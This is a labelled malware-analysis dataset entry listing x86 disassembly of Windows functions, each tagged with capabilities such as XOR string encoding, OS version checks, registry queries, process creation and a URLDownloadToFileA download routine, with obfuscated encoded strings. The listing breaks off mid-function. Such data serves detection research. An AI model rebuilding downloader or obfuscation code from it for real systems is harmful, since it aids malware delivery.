joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408859
Capabilities:
Encode data using xor

Disassembly:
push 0xc8
mov eax, 0x4733d4
call fcn.00456482
mov ebx, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 0x50], edi
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 4], edi
call fcn.00403a5d
pop ecx
pop ecx
mov byte [ebp - 4], 1
call fcn.00433ebe
push eax
lea ecx, [ebp - 0x4c]
call fcn.00403512
xor esi, esi
mov byte [ebp - 4], 2
cmp dword [ebp - 0x18], edi
jbe 0x4088cf
push esi
lea ecx, [ebp - 0x2c]
call fcn.00403385
mov cl, byte [0x4a329c]
xor byte [eax], cl
push esi
lea ecx, [ebp - 0x2c]
call fcn.00403385
movsx ax, byte [eax]
movzx eax, ax
push eax
lea ecx, [ebp - 0x4c]
call fcn.004075a4
inc esi
cmp esi, dword [ebp - 0x18]
jb 0x40889f
mov esi, dword [ebp + 0x28]
dec esi
cmp esi, edi
jle 0x40895d
push dword [ebp - 0x4c]
lea ecx, [ebp - 0xd4]
call fcn.0040658f
push dword [eax]
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 3
call fcn.004023b9
lea eax, [ebp - 0xd0]
mov byte [ebp - 4], 5
cmp dword [ebp - 0xd4], eax
je 0x408915
push dword [ebp - 0xd4]
call fcn.00455f96
pop ecx
push dword [ebp + 0x2c]
lea eax, [ebp - 0x48]
push esi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x50], esp
push eax
call fcn.00401f75
lea eax, [ebp - 0x50]
push eax
call fcn.00408859
add esp, 0x28
push eax
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 6
call fcn.0040771f
mov ecx, dword [ebp - 0x50]
add ecx, 0xfffffff0
call fcn.00401264
push edi
push 1
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 2
call fcn.004018e5
inc esi
cmp dword [ebp + 0x2c], esi
jne 0x408995
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax - 0xc]
sub eax, dword [ebp + 0x2c]
lea ecx, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x50]
push eax
call fcn.00406de4
push eax
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 7
call fcn.0040771f
mov ecx, dword [ebp - 0x50]
add ecx, 0xfffffff0
mov byte [ebp - 4], 2
call fcn.00401264
lea ecx, [ebp - 0x4c]
call fcn.0040767b
mov ecx, eax
call fcn.004076c4
push eax
mov ecx, ebx
call fcn.004059d0
mov ecx, dword [ebp - 0x4c]
add ecx, 0xfffffff0
call fcn.00401264
push edi
push 1
lea ecx, [ebp - 0x2c]
call fcn.004018e5
push edi
push 1
lea ecx, [ebp + 0xc]
call fcn.004018e5
mov eax, ebx
call fcn.00456505
ret
Function at 0x41b531
Capabilities:
Check os version

Disassembly:
push ebp
sub esp, 0x94
lea ebp, [esp - 4]
mov eax, dword [0x4a521c]
xor eax, ebp
mov dword [ebp + 0x94], eax
push 0xc
mov eax, 0x4761e1
call fcn.00456419
mov edi, dword [ebp + 0xa0]
push 4
pop esi
push esi
push esi
sub esp, 0x1c
xor ebx, ebx
mov dword [ebp - 0x14], ebx
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.MzsLNTYSGws2LBcKN0g6OjcsC0EwAR9NNyo5CTMtLj4
mov dword [ebp - 4], ebx
mov dword [ebp - 0x18], edi
call fcn.004023b9
push edi
call fcn.00403cea
mov dword [ebp - 4], ebx
mov ebx, 0x94
push ebx
lea eax, [ebp]
push 0
push eax
mov dword [ebp - 0x14], 1
call fcn.00455d60
add esp, 0x34
lea eax, [ebp]
push eax
mov dword [ebp], ebx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp + 4], 5
jne 0x41b614
xor ebx, ebx
inc ebx
cmp dword [ebp + 8], ebx
jne 0x41b5e6
push 3
push 3
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.KCwTNDQ8KTkoK0AANwBBPg
call fcn.004023b9
lea eax, [ebp - 0x10]
push eax
call fcn.00403cea
add esp, 0x28
mov dword [ebp - 4], ebx
jmp 0x41b6a7
push 2
pop ebx
cmp dword [ebp + 8], ebx
jne 0x41b6ba
push esi
push esi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.NhELIDE8NUA8AhcINwAcLCgrDywxPC0sPTwhSjMtLj4
call fcn.004023b9
lea eax, [ebp - 0x10]
push eax
call fcn.00403cea
add esp, 0x28
jmp 0x41b5de
cmp dword [ebp + 4], 6
jne 0x41b6ba
cmp dword [ebp + 8], 0
jne 0x41b64d
push esi
push esi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.Nh8MTYsPU87DxcINwAcLCgrSCg7LBsoKTsfADBILj4
call fcn.004023b9
lea eax, [ebp - 0x10]
push eax
call fcn.00403cea
add esp, 0x28
mov dword [ebp - 4], 3
jmp 0x41b6a7
cmp dword [ebp + 8], 1
jne 0x41b67a
push 3
push 3
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.MzlBOSwSKTkoK0ALPEguPg
call fcn.004023b9
lea eax, [ebp - 0x10]
push eax
call fcn.00403cea
add esp, 0x28
mov dword [ebp - 4], esi
jmp 0x41b6a7
cmp dword [ebp + 8], 2
jne 0x41b6ba
push esi
push esi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.Mzo6OSwSITspPBcINwAcLCgpMS0oH0VF
call fcn.004023b9
lea eax, [ebp - 0x10]
push eax
call fcn.00403cea
add esp, 0x28
mov dword [ebp - 4], 9
push eax
mov ecx, edi
call fcn.0040396d
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.00401264
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x94]
xor ecx, ebp
call fcn.0045640a
add ebp, 0x98
leave
ret
Function at 0x421739
Capabilities:
Create directory
Download url
Receive data

Disassembly:
push 8
mov eax, 0x47715b
call fcn.00456419
mov esi, ecx
mov eax, dword [ebp + 8]
mov dword [esi + 0x28], eax
lea eax, [esi + 0x20]
push eax
call fcn.00457d2e
pop ecx
call fcn.00433ebe
push eax
lea ecx, [ebp + 8]
call fcn.00403512
mov eax, dword [esi + 8]
mov ecx, dword [eax + 0xc]
xor ebx, ebx
cmp dword [ecx - 0xc], ebx
mov dword [ebp - 4], ebx
jg 0x4217b7
push dword [eax + 4]
lea eax, [ebp - 0x14]
push eax
call fcn.00422d7c
mov eax, dword [eax]
mov ecx, dword [esi + 8]
mov ecx, dword [ecx + 8]
push 0x5c
push eax
push ecx
lea eax, [ebp - 0x10]
push eax
mov byte [ebp - 4], 1
call fcn.00422ef7
add esp, 0x18
push eax
lea ecx, [ebp + 8]
mov byte [ebp - 4], 2
call fcn.0040396d
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.00401264
jmp 0x4217d7
mov eax, dword [eax + 8]
push 0x5c
push ecx
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.00422ef7
add esp, 0x10
push eax
lea ecx, [ebp + 8]
mov byte [ebp - 4], 3
call fcn.0040396d
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
mov byte [ebp - 4], bl
call fcn.00401264
mov eax, dword [esi + 8]
mov eax, dword [eax + 8]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov eax, dword [esi + 8]
add eax, 4
push eax
lea ecx, [ebp - 0x14]
call fcn.004036b5
mov edi, dword [ebp - 0x14]
push edi
mov byte [ebp - 4], 4
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push esi
mov esi, dword [ebp + 8]
push ebx
push esi
push edi
push ebx
call sub.urlmon.dll_URLDownloadToFileA
cmp eax, ebx
jge 0x421832
mov dword [ebp - 0x10], eax
push 0x499ffc
lea eax, [ebp - 0x10]
push eax
call fcn.00455f47
lea ecx, [edi - 0x10]
call fcn.00401264
lea ecx, [esi - 0x10]
call fcn.00401264
call fcn.004564f1
ret 4

Function at 0x4220bc
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x68]
sub esp, 0xa4
mov eax, dword [0x4a521c]
xor eax, ebp
mov dword [ebp + 0x64], eax
mov eax, dword [ebp + 0x7c]
mov ecx, dword [ebp + 0x70]
mov edx, dword [ebp + 0x74]
push edi
mov edi, dword [ebp + 0x78]
test eax, eax
jne 0x4220f4
lea eax, [ebp - 0x38]
push eax
push 1
push 0
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
jmp 0x422108
push ebx
lea ebx, [ebp - 0x38]
push ebx
or eax, 1
push eax
push 0
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop ebx
test eax, eax
je 0x422110
xor eax, eax
jmp 0x422143
test edi, edi
je 0x422135
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x34]
push eax
push 0
push 0
push edi
push dword [ebp - 0x38]
mov dword [ebp - 0x3c], 0x96
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x42210c
push dword [ebp - 0x38]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
neg eax
sbb eax, eax
inc eax
mov ecx, dword [ebp + 0x64]
xor ecx, ebp
pop edi
call fcn.0045640a
add ebp, 0x68
leave
ret
Function at 0x4222ed
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
sub esp, 0x100
lea ebp, [esp - 4]
mov eax, dword [0x4a521c]
xor eax, ebp
mov dword [ebp + 0x100], eax
push 0x44
mov eax, 0x47721d
call fcn.0045644c
mov ecx, dword [ebp + 0x10c]
mov eax, dword [ebp + 0x118]
mov esi, dword [ebp + 0x110]
mov edi, dword [ebp + 0x114]
xor ebx, ebx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x28], ebx
call fcn.004036a1
xor eax, eax
inc eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x11c]
cmp eax, ebx
jne 0x422357
lea eax, [ebp - 0x14]
push eax
push 0x20019
jmp 0x422361
lea ecx, [ebp - 0x14]
push ecx
or eax, 0x20019
push eax
push ebx
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x422423
push 0xfe
lea eax, [ebp + 1]
push ebx
push eax
mov byte [ebp], bl
call fcn.00455d60
add esp, 0xc
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x2c]
push eax
push ebx
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp]
push eax
push dword [ebp - 0x14]
mov dword [ebp - 0x30], 0xff
mov dword [ebp - 0x2c], ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
push ebx
push dword [ebp - 0x1c]
mov dword [ebp - 0x18], 4
push dword [ebp - 0x14]
call esi
test eax, eax
jne 0x42241a
push dword [ebp - 0x18]
call fcn.00459818
pop ecx
mov edi, eax
lea eax, [ebp - 0x18]
push eax
push edi
lea eax, [ebp - 0x24]
push eax
push ebx
push dword [ebp - 0x1c]
push dword [ebp - 0x14]
call esi
test eax, eax
jne 0x422413
cmp dword [ebp - 0x24], 1
jne 0x422413
mov ecx, dword [ebp - 0x20]
push edi
call fcn.00403a2e
push edi
call fcn.00455f96
pop ecx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x100]
xor ecx, ebp
call fcn.0045640a
add ebp, 0x104
leave
ret
Function at 0x4228f8
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
sub esp, 0x100
lea ebp, [esp - 4]
mov eax, dword [0x4a521c]
xor eax, ebp
mov dword [ebp + 0x100], eax
push 0x44
mov eax, 0x47733c
call fcn.00456419
push 5
push 5
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.NQIPMTcsKQs0KQtLMw8MMzUBFxs1AhsJNisfSig7PjY2KwsoLAI1OSk8NUk5LR8LMysPSTASCyg1KhsPKzwUMTYrDygsLDkrPAITSjQqHDooKTo5KzwhTTUsE0o0O0hPMywTLCs8NR4pLBNLNDobSDcqPR48PEg5LD1AQT0QNQAzPBMAPTsPOz8CF1MoPC07MzwTNDAsNSoPEwJMy0uPg
mov byte [ebp - 0xd], 0
call fcn.004023b9
lea eax, [ebp - 0x14]
push eax
call fcn.00403cea
add esp, 0x28
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
and dword [ebp - 4], 0
lea eax, [ebp - 0x24]
push eax
mov ebx, 0x20019
push ebx
push 0
push dword [ebp - 0x14]
mov edi, reloc.OLEAUT32.dll_SysReAllocString
push edi
call esi
test eax, eax
jne 0x422a48
push 0xfe
push eax
mov byte [ebp], al
lea eax, [ebp + 1]
push eax
call fcn.00455d60
add esp, 0xc
lea eax, [ebp - 0x50]
push eax
and dword [ebp - 0x1c], 0
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x1c]
push eax
push 0
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp]
push eax
push dword [ebp - 0x24]
mov dword [ebp - 0x2c], 0xff
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
cmp dword [ebp - 0x1c], 1
jbe 0x4229ca
mov byte [ebp - 0xd], 0
jmp 0x422a3f
push 4
push 4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push str.NhETATYsKSspORdPKzkLICgrFDk2AiE6OwE5CDQ8Pjk2OwsgLgIPOT8AQEs8AhMZNTsPKCwCNQwABsCPAITKTUCCDkxPD0rLDkTCjcAQSwoOTkaOwIpOzsCKQ8oOUE2MwIPQTkrH08oEhNJOR8LMTYfPTQ8LD0rNSlIQTwCFDE1DzlJMTsXCCotLUU
call fcn.004023b9
lea eax, [ebp - 0x20]
push eax
call fcn.00403cea
add esp, 0x28
lea eax, [ebp - 0x28]
push eax
push ebx
xor ebx, ebx
push ebx
push dword [ebp - 0x20]
push edi
call esi
test eax, eax
jne 0x422a34
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
push 0x486e5c
push dword [ebp - 0x28]
mov dword [ebp - 0x30], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x422a2b
cmp dword [ebp - 0x18], 1
je 0x422a2b
mov byte [ebp - 0xd], 1
push dword [ebp - 0x28]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x20]
add ecx, 0xfffffff0
call fcn.00401264
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
call fcn.00401264
mov al, byte [ebp - 0xd]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x100]
xor ecx, ebp
call fcn.0045640a
add ebp, 0x104
leave
ret
Function at 0x422c4c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x4a521c]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [ebp - 0x110], 0
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, 0x105
push esi
lea eax, [ebp - 0x10c]
push 0
push eax
call fcn.00455d60
add esp, 0xc
lea eax, [ebp - 0x10c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x10c]
push eax
mov ecx, edi
call fcn.004040dc
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop esi
call fcn.0045640a
leave
ret

Function at 0x422cae
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x108
lea ebp, [esp - 4]
mov eax, dword [0x4a521c]
xor eax, ebp
mov dword [ebp + 0x108], eax
push 8
mov eax, 0x4773a7
call fcn.00456419
mov esi, dword [ebp + 0x114]
and dword [ebp - 0x10], 0
push 0x105
lea eax, [ebp]
push 0
push eax
call fcn.00455d60
add esp, 0xc
lea eax, [ebp]
push eax
push 0
push 3
push 3
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.NywPCDYsD040LD1F
call fcn.004023b9
lea eax, [ebp - 0x10]
push eax
call fcn.00403cea
mov edi, eax
and dword [ebp - 4], 0
lea eax, [ebp - 0x14]
push eax
call fcn.00422c4c
mov edi, dword [edi]
mov eax, dword [eax]
add esp, 0x2c
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
call fcn.00401264
mov ecx, dword [ebp - 0x10]
or dword [ebp - 4], 0xffffffff
add ecx, 0xfffffff0
call fcn.00401264
lea eax, [ebp]
push eax
mov ecx, esi
call fcn.004040dc
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x108]
xor ecx, ebp
call fcn.0045640a
add ebp, 0x10c
leave
ret
Function at 0x422fff
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x318
lea ebp, [esp - 4]
mov eax, dword [0x4a521c]
xor eax, ebp
mov dword [ebp + 0x318], eax
push 0x10
mov eax, 0x477467
call fcn.00456419
mov eax, dword [ebp + 0x328]
and dword [ebp - 4], 0
mov edi, dword [ebp + 0x324]
and dword [ebp - 0x14], 0
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x10]
push eax
mov dword [ebp - 0x1c], edi
call fcn.00422fc1
mov esi, 0x105
push esi
xor ebx, ebx
lea eax, [ebp + 0x108]
push 0
inc ebx
push eax
mov dword [ebp - 4], ebx
call fcn.00455d60
add esp, 0x10
push esi
lea eax, [ebp + 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push esi
lea eax, [ebp]
push 0
push eax
call fcn.00455d60
add esp, 0xc
push esi
lea eax, [ebp]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push esi
lea eax, [ebp + 0x210]
push 0
push eax
call fcn.00455d60
add esp, 0xc
lea eax, [ebp + 0x210]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push dword [ebp - 0x18]
mov ecx, edi
call fcn.004040dc
push dword [ebp - 0x10]
mov ecx, edi
push str.APPPATH
mov dword [ebp - 0x14], ebx
call fcn.00407435
lea eax, [ebp + 0x108]
push eax
push str.SYSTEMPATH
mov ecx, edi
call fcn.00407435
lea eax, [ebp]
push eax
push str.WINDOWSPATH
mov ecx, edi
call fcn.00407435
lea eax, [ebp + 0x210]
push eax
push str.TEMPPATH
mov ecx, edi
call fcn.00407435
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.00401264
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x318]
xor ecx, ebp
call fcn.0045640a
add ebp, 0x31c
leave
ret

Function at 0x423232
Capabilities:
Delete directory

Disassembly:
push 8
mov eax, 0x4774ea
call fcn.00456419
and dword [ebp - 4], 0
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x10]
call fcn.004036b5
push 4
push 4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.NisXQTcsLTs_DxcCPSkLNigSD1MoH0VF
mov byte [ebp - 4], 1
call fcn.004023b9
lea eax, [ebp - 0x14]
push eax
call fcn.00403cea
add esp, 0x28
mov eax, dword [eax]
push dword [eax - 0xc]
lea ecx, [ebp - 0x10]
push eax
mov byte [ebp - 4], 2
call fcn.0040386d
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
mov byte [ebp - 4], 1
call fcn.00401264
push ecx
lea eax, [ebp - 0x10]
mov dword [ebp - 0x14], esp
mov ecx, esp
push eax
call fcn.004036b5
call fcn.0042312d
pop ecx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.00401264
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.00401264
call fcn.004564f1
ret
Function at 0x423bc4
Capabilities:
Delete file

Disassembly:
push 0x38
mov eax, 0x477611
call fcn.00456419
xor ebx, ebx
push 8
mov dword [ebp - 4], ebx
call fcn.00431df2
pop ecx
cmp eax, ebx
je 0x423bec
mov dword [eax + 4], ebx
mov dword [eax], vtable.CBitmap.0
jmp 0x423bee
xor eax, eax
cmp dword [0x4a39a0], 0xfffffffe
mov dword [ebp - 0x14], eax
mov esi, 0x4a6998
jne 0x423c48
push esi
push 3
push 3
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x24], esp
push str.NSoxOTUCSAk0KzEPOT0THygAOQw1KUVF
call fcn.004023b9
lea eax, [ebp - 0x18]
push eax
call fcn.00408859
add esp, 0x28
mov ecx, eax
mov byte [ebp - 4], 1
call fcn.00406575
push eax
call fcn.0042398d
pop ecx
pop ecx
mov ecx, dword [ebp - 0x18]
add ecx, 0xfffffff0
mov dword [0x4a39a0], eax
mov byte [ebp - 4], bl
call fcn.00401264
cmp dword [0x4a39a0], 0xffffffff
je 0x423db5
lea ecx, [ebp + 8]
call fcn.00405563
push eax
lea ecx, [ebp - 0x18]
call fcn.00423b80
push ebx
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 2
call fcn.00406575
push eax
call fcn.004238cd
pop ecx
pop ecx
mov edi, eax
lea eax, [ebp - 0x10]
push eax
push 1
push ebx
mov dword [ebp - 0x24], edi
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
cmp edi, ebx
je 0x423d95
push ebx
push esi
push dword [ebp - 0x10]
mov ecx, edi
call fcn.004238eb
cmp eax, 0xffffffff
je 0x423d95
push ebx
call dword [sym.imp.USER32.dll_GetDC]
push 0x10
mov dword [ebp - 0x14], eax
call fcn.00431df2
pop ecx
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 3
cmp eax, ebx
je 0x423cd2
mov ecx, eax
call fcn.00438654
mov esi, eax
jmp 0x423cd4
xor esi, esi
push dword [ebp - 0x14]
mov byte [ebp - 4], 2
call fcn.00438ae8
lea ecx, [ebp - 0x34]
call fcn.00438654
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 4
call fcn.00438654
push esi
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 5
call fcn.00423865
push esi
lea ecx, [ebp - 0x44]
call fcn.00423865
push 8
call fcn.00431df2
pop ecx
cmp eax, ebx
je 0x423d23
mov dword [eax + 4], ebx
mov dword [eax], vtable.CBitmap.0
mov edi, eax
jmp 0x423d25
xor edi, edi
push ebx
push dword [ebp - 0x10]
call fcn.0042394b
pop ecx
pop ecx
lea ecx, [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, eax
mov dword [ebp - 0x1c], ebx
call fcn.00423969
push dword [ebp - 0x20]
mov ecx, edi
call fcn.00438db8
cmp edi, ebx
jne 0x423d54
xor eax, eax
jmp 0x423d57
mov eax, dword [edi + 4]
push eax
push dword [ebp - 0x30]
call fcn.00438e97
push dword [ebp - 0x14]
push ebx
call dword [sym.imp.USER32.dll_ReleaseDC]
cmp esi, ebx
je 0x423d77
mov eax, dword [esi]
push 1
mov ecx, esi
call dword [eax + 4]
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 4
call fcn.00438b65
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 2
call fcn.00438b65
mov edi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
cmp edi, ebx
je 0x423daa
mov eax, dword [edi]
push 1
mov ecx, edi
call dword [eax]
mov ecx, dword [ebp - 0x18]
add ecx, 0xfffffff0
call fcn.00401264
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0x14]
cmp eax, ebx
je 0x423dc8
mov ebx, dword [eax + 4]
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.00401264
mov eax, ebx
call fcn.004564f1
ret
Function at 0x427d54
Capabilities:
Resume thread

Disassembly:
push 0
mov eax, 0x478243
call fcn.00456419
mov edi, ecx
push 0x20
mov dword [ebp - 4], 2
call fcn.00431df2
xor ebx, ebx
pop ecx
cmp eax, ebx
je 0x427d82
mov ecx, eax
call fcn.00424186
mov esi, eax
jmp 0x427d84
xor esi, esi
lea eax, [ebp + 0xc]
push eax
lea ecx, [esi + 0xc]
call fcn.0040396d
lea eax, [ebp + 0x10]
push eax
lea ecx, [esi + 0x10]
call fcn.0040396d
mov eax, dword [edi + 0x124]
mov dword [esi + 4], eax
lea eax, [ebp + 8]
push eax
lea ecx, [esi + 8]
call fcn.0040396d
mov eax, dword [edi + 0x20]
push ebx
push 4
push ebx
push ebx
push esi
push 0x427a51
mov dword [esi], eax
mov byte [esi + 0x14], bl
mov byte [esi + 0x15], bl
call fcn.00436026
lea ecx, [edi + 0x148]
mov dword [ecx], eax
cmp eax, ebx
je 0x427de8
mov dword [eax + 0x28], ebx
mov eax, dword [ecx]
push dword [eax + 0x2c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x427df6
mov byte [edi + 0x14d], 1
mov byte [edi + 0x14e], 1
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.00401264
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
call fcn.00401264
mov ecx, dword [ebp + 0x10]
add ecx, 0xfffffff0
call fcn.00401264
call fcn.004564f1
ret 0xc
Function at 0x42c10a
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
push 0x44
xor esi, esi
lea eax, [ebp - 0x44]
push esi
push eax
call fcn.00455d60
add esp, 0xc
push dword [ebp + 0xc]
lea eax, [ebp - 0x44]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push dword [ebp + 8]
mov dword [ebp - 0x44], 0x44
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
setne al
pop esi
leave
ret 8

Function at 0x434a83
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x47b07e
call fcn.00456419
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x434aa8
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x434aee
lea ecx, [ebp - 0x10]
call fcn.004036a1
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00431f8a
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00401264
mov eax, esi
call fcn.004564f1
ret 8

Function at 0x437027
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x43706f
call fcn.00433d50
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x43706f
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x4370b2
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x43709b
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x43709b
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x4370af
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x43839f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
test ebx, 0xffff0000
jne 0x4383c3
